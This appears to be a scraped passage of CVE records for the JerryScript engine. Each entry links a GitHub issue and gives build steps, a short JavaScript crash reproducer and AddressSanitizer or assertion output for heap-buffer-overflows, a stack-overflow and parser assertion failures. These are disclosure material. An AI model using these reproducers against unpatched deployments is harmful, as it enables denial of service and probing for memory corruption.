ecma_op_to_string /home/jerryscript/jerry-core/ecma/operations/ecma-conversion.c:413 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/jerryscript/jerry-core/jmem/jmem-poolman.c:165 jmem_pools_collect_empty Shadow bytes around the buggy address: 0x3ebffff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x3ec00000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec00010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec00020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec00030: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa =>0x3ec00040: fa fa fd fa fa fa fd fa fa fa 00 fa[fa]fa fd fa 0x3ec00050: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x3ec00060: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x3ec00070: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa 0x3ec00080: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa 0x3ec00090: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==97903==ABORTING Credits: This vulnerability is detected by chong from OWL337.

heap-buffer-overflow in the jmem_pools_collect_empty

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3749/comments

2020-05-17T04:04:34Z

2020-05-20T10:10:06Z

https://github.com/jerryscript-project/jerryscript/issues/3749

CVE-2020-23306

2021-06-10T23:15:07.810

There is a stack-overflow at ecma-regexp-object.c:535 in ecma_regexp_match in JerryScript 2.2.0.

https://github.com/jerryscript-project/jerryscript/issues/3753

github.com

###### JerryScript revision bd1c4df ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps ``` python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --lto=off --error-message=on --system-allocator=on ``` ###### Test case ``` r = new RegExp ("(()*?)+?a"); assert (r.exec("ba")[0] == "a"); ``` ###### Output ``` ASAN:SIGSEGV ================================================================= ==103435==ERROR: AddressSanitizer: stack-overflow on address 0xff318fcc (pc 0x0808fc96 bp 0xff319158 sp 0xff318fb0 T0) #0 0x808fc95 in ecma_regexp_match /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:535 #1 0x80915ee in ecma_regexp_match /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:1060 #2 0x80915ee in ecma_regexp_match /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:1060 #3 0x8091111 in ecma_regexp_match /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:995 #4 0x8091b54 in ecma_regexp_match /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:1122 #5 0x80915ee in ecma_regexp_match /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:1060 #6 0x8091b54 in ecma_regexp_match /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:1122 ... #249 0x8091b54 in ecma_regexp_match /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:1122 #250 0x8091b54 in ecma_regexp_match /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:1122 SUMMARY: AddressSanitizer: stack-overflow /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:535 ecma_regexp_match ==103435==ABORTING ``` Credits: This vulnerability is detected by chong from OWL337.

stack-overflow in ecma_regexp_match

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3753/comments

2020-05-18T05:18:42Z

2020-05-26T13:29:29Z

https://github.com/jerryscript-project/jerryscript/issues/3753

CVE-2020-23308

2021-06-10T23:15:07.843

There is an Assertion 'context_p->stack_top_uint8 == LEXER_EXPRESSION_START' at js-parser-expr.c:3565 in parser_parse_expression in JerryScript 2.2.0.

https://github.com/jerryscript-project/jerryscript/issues/3819

github.com

###### JerryScript revision d06c3a7 ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps ``` python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \ --error-messages=on --debug --compile-flag=-g --strip=off --logging=on \ --compile-flag=-fsanitize=address --stack-limit=15 ``` ###### Test case ``` typeof (global.v2) = 123; ``` ###### Output ``` ICE: Assertion 'context_p->stack_top_uint8 == LEXER_EXPRESSION_START' failed at /home/JerryScript/jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_parse_expression):3565. Error: ERR_FAILED_INTERNAL_ASSERTION Aborted (core dumped) ``` Credits: This vulnerability is detected by chong from OWL337.

Assertion 'context_p->stack_top_uint8 == LEXER_EXPRESSION_START' in parser_parse_expression

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3819/comments

2020-05-31T13:53:00Z

2020-06-03T13:29:27Z

https://github.com/jerryscript-project/jerryscript/issues/3819

CVE-2020-23309

2021-06-10T23:15:07.877

There is an Assertion 'context_p->stack_depth == context_p->context_stack_depth' failed at js-parser-statm.c:2756 in parser_parse_statements in JerryScript 2.2.0.

https://github.com/jerryscript-project/jerryscript/issues/3820

github.com

###### JerryScript revision d06c3a7 ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps ``` python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \ --error-messages=on --debug --compile-flag=-g --strip=off --logging=on \ --compile-flag=-fsanitize=address --stack-limit=15 ``` ###### Test case ``` try { (isNaN(parseFloat("."))) = 'abcd'; } catch (e) { } ``` ###### Output ``` ICE: Assertion 'context_p->stack_depth == context_p->context_stack_depth' failed at /home/JerryScript/jerryscript/jerry-core/parser/js/js-parser-statm.c(parser_parse_statements):2756. Error: ERR_FAILED_INTERNAL_ASSERTION Aborted (core dumped) ``` Credits: This vulnerability is detected by chong from OWL337.

Assertion 'context_p->stack_depth == context_p->context_stack_depth' in parser_parse_statements

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3820/comments

2020-05-31T14:20:41Z

2020-06-03T13:29:27Z

https://github.com/jerryscript-project/jerryscript/issues/3820

CVE-2020-23310

2021-06-10T23:15:07.910

There is an Assertion 'context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION' failed at js-parser-statm.c:733 in parser_parse_function_statement in JerryScript 2.2.0.

https://github.com/jerryscript-project/jerryscript/issues/3821

github.com

###### JerryScript revision d06c3a7 ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps ``` python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \ --error-messages=on --debug --compile-flag=-g --strip=off --logging=on \ --compile-flag=-fsanitize=address --stack-limit=15 ``` ###### Test case ``` function a") { ``` ###### Output ``` ICE: Assertion 'context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION' failed at /home/JerryScript/jerryscript/jerry-core/parser/js/js-parser-statm.c(parser_parse_function_statement):733. Error: ERR_FAILED_INTERNAL_ASSERTION Aborted (core dumped) ``` Credits: This vulnerability is detected by chong from OWL337.

Assertion 'context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION' in parser_parse_function_statement

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3821/comments

2020-06-01T03:00:22Z

2020-06-04T09:25:26Z

https://github.com/jerryscript-project/jerryscript/issues/3821

CVE-2020-23311

2021-06-10T23:15:07.943

There is an Assertion 'context_p->token.type == LEXER_RIGHT_BRACE || context_p->token.type == LEXER_ASSIGN || context_p->token.type == LEXER_COMMA' failed at js-parser-expr.c:3230 in parser_parse_object_initializer in JerryScript 2.2.0.

https://github.com/jerryscript-project/jerryscript/issues/3822

github.com

###### JerryScript revision d06c3a7 ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps ``` python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \ --error-messages=on --debug --compile-flag=-g --strip=off --logging=on \ --compile-flag=-fsanitize=address --stack-limit=15 ``` ###### Test case ``` function f ({array, 'a', { value: 'foo', enumerable: true } : 36}) {} ``` ###### Output ``` ICE: Assertion 'context_p->token.type == LEXER_RIGHT_BRACE || context_p->token.type == LEXER_ASSIGN || context_p->token.type == LEXER_COMMA' failed at /home/JerryScript/jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_parse_object_initializer):3230. Error: ERR_FAILED_INTERNAL_ASSERTION Aborted (core dumped) ``` Credits: This vulnerability is detected by chong from OWL337.

Assertion 'context_p->token.type == LEXER_RIGHT_BRACE || context_p->token.type == LEXER_ASSIGN || context_p->token.type == LEXER_COMMA' in parser_parse_object_initializer

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3822/comments

2020-06-01T03:10:23Z

2020-06-03T13:28:14Z

https://github.com/jerryscript-project/jerryscript/issues/3822

CVE-2020-23312

2021-06-10T23:15:07.980

There is an Assertion 'context.status_flags & PARSER_SCANNING_SUCCESSFUL' failed at js-parser.c:2185 in parser_parse_source in JerryScript 2.2.0.

https://github.com/jerryscript-project/jerryscript/issues/3824

github.com

###### JerryScript revision d06c3a7 ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps ``` python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \ --error-messages=on --debug --compile-flag=-g --strip=off --logging=on \ --compile-flag=-fsanitize=address --stack-limit=15 ``` ###### Test case ``` var a = { "foo//b", }; ``` ###### Output ``` ICE: Assertion 'context.status_flags & PARSER_SCANNING_SUCCESSFUL' failed at /home/JerryScript/jerryscript/jerry-core/parser/js/js-parser.c(parser_parse_source):2185. Error: ERR_FAILED_INTERNAL_ASSERTION Aborted (core dumped) ``` Credits: This vulnerability is detected by chong from OWL337.

Assertion 'context.status_flags & PARSER_SCANNING_SUCCESSFUL' in parser_parse_source

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3824/comments

2020-06-01T04:16:48Z

2020-06-03T13:28:14Z

https://github.com/jerryscript-project/jerryscript/issues/3824

CVE-2020-23313

2021-06-10T23:15:08.020

There is an Assertion 'scope_stack_p > context_p->scope_stack_p' failed at js-scanner-util.c:2510 in scanner_literal_is_created in JerryScript 2.2.0

https://github.com/jerryscript-project/jerryscript/issues/3823

github.com

###### JerryScript revision d06c3a7 ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps ``` python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \ --error-messages=on --debug --compile-flag=-g --strip=off --logging=on \ --compile-flag=-fsanitize=address --stack-limit=15 ``` ###### Test case ``` function f ({"aba,a"}) { } ``` ###### Output ``` ICE: Assertion 'scope_stack_p > context_p->scope_stack_p' failed at /home/JerryScript/jerryscript/jerry-core/parser/js/js-scanner-util.c(scanner_literal_is_created):2510. Error: ERR_FAILED_INTERNAL_ASSERTION Aborted (core dumped) ``` Credits: This vulnerability is detected by chong from OWL337.

Assertion 'scope_stack_p > context_p->scope_stack_p' in scanner_literal_is_created

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3823/comments

2020-06-01T03:58:55Z

2020-06-03T13:28:14Z

https://github.com/jerryscript-project/jerryscript/issues/3823

CVE-2020-23314

2021-06-10T23:15:08.087

There is an Assertion 'block_found' failed at js-parser-statm.c:2003 parser_parse_try_statement_end in JerryScript 2.2.0.

https://github.com/jerryscript-project/jerryscript/issues/3825

github.com

###### JerryScript revision d06c3a7 ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps ``` python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \ --error-messages=on --debug --compile-flag=-g --strip=off --logging=on \ --compile-flag=-fsanitize=address --stack-limit=15 ``` ###### Test case ``` var errorMessage = "toStringThrows" var toStringThrows = { "foo//bar/baz//foo" } try { var obj = {}; obj[toStringThrows] = 3; assert(false); } catch (e) { assert(e.message == errorMessage); } ``` ###### Output ``` ICE: Assertion 'block_found' failed at /home/JerryScript/jerryscript/jerry-core/parser/js/js-parser-statm.c(parser_parse_try_statement_end):2003. Error: ERR_FAILED_INTERNAL_ASSERTION Aborted (core dumped) ``` Credits: This vulnerability is detected by chong from OWL337.

Assertion 'block_found' in parser_parse_try_statement_end

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3825/comments

2020-06-01T04:41:43Z

2020-06-03T13:28:15Z

https://github.com/jerryscript-project/jerryscript/issues/3825

CVE-2020-23319

2021-06-10T23:15:08.137

There is an Assertion in '(flags >> CBC_STACK_ADJUST_SHIFT) >= CBC_STACK_ADJUST_BASE || (CBC_STACK_ADJUST_BASE - (flags >> CBC_STACK_ADJUST_SHIFT)) <= context_p->stack_depth' in parser_emit_cbc_backward_branch in JerryScript 2.2.0.

https://github.com/jerryscript-project/jerryscript/issues/3834

github.com

###### JerryScript revision a56e31f ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps ``` ./tools/build.py --clean --debug --compile-flag=-fsanitize=address \ --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \ --compile-flag=-fno-common --compile-flag=-g \ --strip=off --system-allocator=on --logging=on \ --linker-flag=-fuse-ld=gold --error-messages=on \ --profile=es2015-subset --lto=off --stack-limit=50 ``` ###### Test case ``` function dec(x) { return x - 1 }; for (var i = 11; ((123).toString(37)) = dec (i); i--) {} ``` ###### Output ``` ICE: Assertion '(flags >> CBC_STACK_ADJUST_SHIFT) >= CBC_STACK_ADJUST_BASE || (CBC_STACK_ADJUST_BASE - (flags >> CBC_STACK_ADJUST_SHIFT)) <= context_p->stack_depth' failed at /home/JerryScript/jerry-core/parser/js/js-parser-util.c(parser_emit_cbc_backward_branch):669. Error: ERR_FAILED_INTERNAL_ASSERTION Aborted (core dumped) ``` Credits: This vulnerability is detected by chong from OWL337.

Assertion '(flags >> CBC_STACK_ADJUST_SHIFT) >= CBC_STACK_ADJUST_BASE || (CBC_STACK_ADJUST_BASE - (flags >> CBC_STACK_ADJUST_SHIFT)) <= context_p->stack_depth' in parser_emit_cbc_backward_branch

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3834/comments

2020-06-03T03:42:30Z

2020-06-03T13:29:27Z

https://github.com/jerryscript-project/jerryscript/issues/3834

CVE-2020-23320

2021-06-10T23:15:08.167

There is an Assertion in 'context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION' in parser_parse_function_arguments in JerryScript 2.2.0.

https://github.com/jerryscript-project/jerryscript/issues/3835

github.com

###### JerryScript revision a56e31f ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps ``` ./tools/build.py --clean --debug --compile-flag=-fsanitize=address \ --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \ --compile-flag=-fno-common --compile-flag=-g \ --strip=off --system-allocator=on --logging=on \ --linker-flag=-fuse-ld=gold --error-messages=on \ --profile=es2015-subset --lto=off --stack-limit=50 ``` ###### Test case ``` fn_expr = { "foo//b", } (function () { var a = [arguments]; })(); ``` ###### Output ``` ICE: Assertion 'context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION' failed at /home/JerryScript/jerry-core/parser/js/js-parser.c(parser_parse_function_arguments):1705. Error: ERR_FAILED_INTERNAL_ASSERTION Aborted (core dumped) ``` Credits: This vulnerability is detected by chong from OWL337.

Assertion 'context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION' in parser_parse_function_arguments

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3835/comments

2020-06-03T04:04:08Z

2020-06-03T13:28:15Z

https://github.com/jerryscript-project/jerryscript/issues/3835

CVE-2020-23321

2021-06-10T23:15:08.197

There is a heap-buffer-overflow at lit-strings.c:431 in lit_read_code_unit_from_utf8 in JerryScript 2.2.0.

https://github.com/jerryscript-project/jerryscript/issues/3870

github.com

###### JerryScript revision cae6cd0 ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps ``` ./tools/build.py --clean --debug --compile-flag=-fsanitize=address \ --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \ --compile-flag=-fno-common --compile-flag=-g --strip=off \ --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \ --error-messages=on --profile=es2015-subset --lto=off ``` ###### Test case ``` new RegExp("\ud800", "u").exec(1) ``` ###### Output ``` ================================================================= ==100375==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf610073f at pc 0x080c25d2 bp 0xffdaad88 sp 0xffdaad78 READ of size 1 at 0xf610073f thread T0 #0 0x80c25d1 in lit_read_code_unit_from_utf8 /home/jerryscript/jerry-core/lit/lit-strings.c:431 #1 0x80c2b8d in lit_cesu8_peek_next /home/jerryscript/jerry-core/lit/lit-strings.c:522 #2 0x80ea990 in re_parse_next_token /home/jerryscript/jerry-core/parser/regexp/re-parser.c:872 #3 0x80eba19 in re_parse_alternative /home/jerryscript/jerry-core/parser/regexp/re-parser.c:1152 #4 0x80e642e in re_compile_bytecode /home/jerryscript/jerry-core/parser/regexp/re-compiler.c:131 #5 0x80afbd2 in ecma_op_create_regexp_from_pattern /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:347 #6 0x8129048 in ecma_builtin_regexp_dispatch_helper /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:174 #7 0x81290c1 in ecma_builtin_regexp_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:218 #8 0x8080fed in ecma_builtin_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1260 #9 0x809866e in ecma_op_function_construct /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1275 #10 0x80f0e29 in opfunc_construct /home/jerryscript/jerry-core/vm/vm.c:866 #11 0x80ffbd2 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4237 #12 0x81000d5 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4318 #13 0x80eefc0 in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:338 #14 0x804e1ce in jerry_run /home/jerryscript/jerry-core/api/jerry.c:595 #15 0x804acbf in main /home/jerryscript/jerry-main/main-unix.c:759 #16 0xf78a5636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) #17 0x8048fb0 (/home/jerryscript/build/bin/jerry+0x8048fb0) 0xf610073f is located 0 bytes to the right of 15-byte region [0xf6100730,0xf610073f) allocated by thread T0 here: #0 0xf7ad9dee in malloc (/usr/lib32/libasan.so.2+0x96dee) #1 0x80be178 in jmem_heap_alloc /home/jerryscript/jerry-core/jmem/jmem-heap.c:254 #2 0x80be248 in jmem_heap_gc_and_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:289 #3 0x80be2c7 in jmem_heap_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:323 #4 0x8100214 in ecma_alloc_string_buffer /home/jerryscript/jerry-core/ecma/base/ecma-alloc.c:194 #5 0x8061b1e in ecma_new_ecma_string_from_utf8_buffer /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:269 #6 0x8061b1e in ecma_new_ecma_string_from_utf8 /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:353 #7 0x8073bf5 in ecma_find_or_create_literal_string /home/jerryscript/jerry-core/ecma/base/ecma-literal-storage.c:134 #8 0x80c4501 in parser_compute_indicies /home/jerryscript/jerry-core/parser/js/js-parser.c:130 #9 0x80c61c6 in parser_post_processing /home/jerryscript/jerry-core/parser/js/js-parser.c:973 #10 0x80cbcb9 in parser_parse_source /home/jerryscript/jerry-core/parser/js/js-parser.c:2192 #11 0x80cf05a in parser_parse_script /home/jerryscript/jerry-core/parser/js/js-parser.c:2813 #12 0x804dc81 in jerry_parse /home/jerryscript/jerry-core/api/jerry.c:447 #13 0x804ac76 in main /home/jerryscript/jerry-main/main-unix.c:750 #14 0xf78a5636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/jerryscript/jerry-core/lit/lit-strings.c:431 lit_read_code_unit_from_utf8 Shadow bytes around the buggy address: 0x3ec20090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec200a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec200b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec200c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec200d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x3ec200e0: fa fa 00 05 fa fa 00[07]fa fa fd fa fa fa fd fd 0x3ec200f0: fa fa 00 00 fa fa 00 00 fa fa 00 06 fa fa 00 00 0x3ec20100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec20110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec20120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec20130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==100375==ABORTING ``` Credits: This vulnerability is detected by chong from OWL337.

heap-buffer-overflow in lit_read_code_unit_from_utf8

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3870/comments

2020-06-06T14:03:56Z

2020-06-08T09:09:09Z

https://github.com/jerryscript-project/jerryscript/issues/3870

CVE-2020-23322

2021-06-10T23:15:08.257

There is an Assertion in 'context_p->token.type == LEXER_RIGHT_BRACE || context_p->token.type == LEXER_ASSIGN || context_p->token.type == LEXER_COMMA' in parser_parse_object_initializer in JerryScript 2.2.0.

https://github.com/jerryscript-project/jerryscript/issues/3869

github.com

###### JerryScript revision cae6cd0 ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps ``` ./tools/build.py --clean --debug --compile-flag=-fsanitize=address \ --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \ --compile-flag=-fno-common --compile-flag=-g --strip=off \ --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \ --error-messages=on --profile=es2015-subset --lto=off ``` ###### Test case ``` function a ({ *=; }) ``` ###### Output ``` ICE: Assertion 'context_p->token.type == LEXER_RIGHT_BRACE || context_p->token.type == LEXER_ASSIGN || context_p->token.type == LEXER_COMMA' failed at /home/JerryScript/jerry-core/parser/js/js-parser-expr.c(parser_parse_object_initializer):3234. Error: ERR_FAILED_INTERNAL_ASSERTION Aborted ``` Credits: This vulnerability is detected by chong from OWL337.

Assertion 'context_p->token.type == LEXER_RIGHT_BRACE || context_p->token.type == LEXER_ASSIGN || context_p->token.type == LEXER_COMMA' in parser_parse_object_initializer

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3869/comments

2020-06-06T13:55:33Z

2020-06-08T08:27:43Z

https://github.com/jerryscript-project/jerryscript/issues/3869

CVE-2020-23323

2021-06-10T23:15:08.293

There is a heap-buffer-overflow at re-parser.c in re_parse_char_escape in JerryScript 2.2.0.

https://github.com/jerryscript-project/jerryscript/issues/3871

github.com

###### JerryScript revision cae6cd0 ###### Build platform Ubuntu 16.04.6 LTS (Linux 4.15.0-99-generic x86_64) ###### Build steps ``` ./tools/build.py --clean --debug --compile-flag=-fsanitize=address \ --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \ --compile-flag=-fno-common --compile-flag=-g --strip=off \ --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \ --error-messages=on --profile=es2015-subset --lto=off ``` ###### Test case ``` new RegExp('"\\u', 'u').exec(1) ``` ###### Output ``` ================================================================= ==105443==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf600073f at pc 0x080e94ba bp 0xffe285a8 sp 0xffe28598 READ of size 1 at 0xf600073f thread T0 #0 0x80e94b9 in re_parse_char_escape /home/jerryscript/jerry-core/parser/regexp/re-parser.c:615 #1 0x80ea114 in re_parse_next_token /home/jerryscript/jerry-core/parser/regexp/re-parser.c:753 #2 0x80eba19 in re_parse_alternative /home/jerryscript/jerry-core/parser/regexp/re-parser.c:1152 #3 0x80e642e in re_compile_bytecode /home/jerryscript/jerry-core/parser/regexp/re-compiler.c:131 #4 0x80afbd2 in ecma_op_create_regexp_from_pattern /home/jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:347 #5 0x8129048 in ecma_builtin_regexp_dispatch_helper /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:174 #6 0x81290c1 in ecma_builtin_regexp_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp.c:218 #7 0x8080fed in ecma_builtin_dispatch_construct /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1260 #8 0x809866e in ecma_op_function_construct /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1275 #9 0x80f0e29 in opfunc_construct /home/jerryscript/jerry-core/vm/vm.c:866 #10 0x80ffbd2 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:4237 #11 0x81000d5 in vm_run /home/jerryscript/jerry-core/vm/vm.c:4318 #12 0x80eefc0 in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:338 #13 0x804e1ce in jerry_run /home/jerryscript/jerry-core/api/jerry.c:595 #14 0x804acbf in main /home/jerryscript/jerry-main/main-unix.c:759 #15 0xf784a636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) #16 0x8048fb0 (/home/jerryscript/build/bin/jerry+0x8048fb0) 0xf600073f is located 0 bytes to the right of 15-byte region [0xf6000730,0xf600073f) allocated by thread T0 here: #0 0xf7a7edee in malloc (/usr/lib32/libasan.so.2+0x96dee) #1 0x80be178 in jmem_heap_alloc /home/jerryscript/jerry-core/jmem/jmem-heap.c:254 #2 0x80be248 in jmem_heap_gc_and_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:289 #3 0x80be2c7 in jmem_heap_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:323 #4 0x8100214 in ecma_alloc_string_buffer /home/jerryscript/jerry-core/ecma/base/ecma-alloc.c:194 #5 0x80619da in ecma_new_ecma_string_from_utf8_buffer /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:258 #6 0x80619da in ecma_new_ecma_string_from_utf8 /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:353 #7 0x8073bf5 in ecma_find_or_create_literal_string /home/jerryscript/jerry-core/ecma/base/ecma-literal-storage.c:134 #8 0x80c4501 in parser_compute_indicies /home/jerryscript/jerry-core/parser/js/js-parser.c:130 #9 0x80c61c6 in parser_post_processing /home/jerryscript/jerry-core/parser/js/js-parser.c:973 #10 0x80cbcb9 in parser_parse_source /home/jerryscript/jerry-core/parser/js/js-parser.c:2192 #11 0x80cf05a in parser_parse_script /home/jerryscript/jerry-core/parser/js/js-parser.c:2813 #12 0x804dc81 in jerry_parse /home/jerryscript/jerry-core/api/jerry.c:447 #13 0x804ac76 in main /home/jerryscript/jerry-main/main-unix.c:750 #14 0xf784a636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/jerryscript/jerry-core/parser/regexp/re-parser.c:615 re_parse_char_escape Shadow bytes around the buggy address: 0x3ec00090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec000a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec000b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec000c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec000d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x3ec000e0: fa fa 00 05 fa fa 00[07]fa fa fd fa fa fa fd fd 0x3ec000f0: fa fa 00 00 fa fa 00 00 fa fa 00 06 fa fa 00 00 0x3ec00100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec00110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec00120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3ec00130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==105443==ABORTING ``` Credits: This vulnerability is detected by chong from OWL337.

heap-buffer-overflow in re_parse_char_escape

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3871/comments

2020-06-07T10:51:46Z

2020-06-08T09:09:09Z

https://github.com/jerryscript-project/jerryscript/issues/3871

CVE-2021-26194

2021-06-10T23:15:08.333

